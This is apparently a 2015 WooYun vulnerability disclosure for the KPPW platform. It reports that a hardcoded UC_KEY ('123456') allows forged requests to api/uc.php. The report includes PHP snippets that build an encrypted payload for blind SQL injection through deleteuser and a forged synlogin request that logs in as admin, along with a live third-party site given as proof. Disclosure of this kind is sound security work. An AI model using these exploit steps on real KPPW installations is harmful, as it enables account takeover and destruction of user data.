当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104646

漏洞标题:KPPW最新版本 任意用户登录 + 盲注

相关厂商:keke.com

漏洞作者: JJ Fly

提交时间:2015-03-30 14:30

修复时间:2015-07-03 14:33

公开时间:2015-07-03 14:33

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-30: 细节已通知厂商并且等待厂商处理中
2015-04-04: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-29: 细节向核心白帽子及相关领域专家公开
2015-06-08: 细节向普通白帽子公开
2015-06-18: 细节向实习白帽子公开
2015-07-03: 细节向公众公开

简要描述:

KPPW最新版本 任意用户登录 + 盲注

详细说明:

突然看到程序中有个api文件夹,文件夹中有个uc.php
其中加载了 \config\config_ucenter.php
而里面有这么一行代码

define('UC_KEY', '123456');


然后post测试了一下。 单引号上不去,然后看了下代码。
发现了如下内容。

$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);


进行了替换 由此可见,我们不能进行直接getshell了 。
不过我往后面看了一下,对别的函数没有影响。
我们在用户删除的地方进行盲注。

function deleteuser($get, $post) {
$uids = $get['ids'];
!API_DELETEUSER && exit(API_RETURN_FORBIDDEN);
db_factory::execute(sprintf('delete from %s where uid in(%s)',TABLEPRE.'witkey_member',$uids));
db_factory::execute(sprintf('delete from %s where uid in(%s)',TABLEPRE.'witkey_space',$uids));
db_factory::execute(sprintf('delete from %s where uid in(%s)',TABLEPRE.'witkey_shop',$uids));
return API_RETURN_SUCCEED;
}


这里只要我们构造一个ids就行,而且他的加密可以绕过过滤函数

测试使用的http://wooyun.org/bugs/wooyun-2014-048137里面的函数。
$key = '123456';
$url = 'http://localhost/KPPW/api/uc.php';
$arg = 'action=deleteuser&ids=*****注入在这里******&time='.time();
echo $url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key));


图片1.png


还有一处任意用户登录
具体函数代码如下

function synlogin($get, $post) {
global $_G;
if(!API_SYNLOGIN) {
return API_RETURN_FORBIDDEN;
}
header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"');
$cookietime = 31536000;
$_SESSION['uid'] = $get['uid'];
$_SESSION['username'] = $get['username'];
//最新登录时间
db_factory::updatetable(TABLEPRE.'witkey_space',array('last_login_time'=>time()), array('uid'=>$_SESSION['uid']));
$space_obj = new Keke_witkey_space_class();
$space_obj->setUid($_SESSION['uid']);
$space_obj->setLast_login_time(time());
$space_obj->edit_keke_witkey_space();
}


会取一个get的id 和 username。入库以及修改session。
下面进行构造

$key = '123456';
$url = 'http://localhost/KPPW/api/uc.php';
$arg = 'action=synlogin&uid=1&username=admin&time='.time();
echo $url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key));


漏洞证明:

从网上找了一个例子
http://www.fanyiku.com/

图片2.png

修复方案:

UC_KEY 自动生成。不可猜测。

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-03 14:33

厂商回复:

最新状态:

2015-04-07:已处理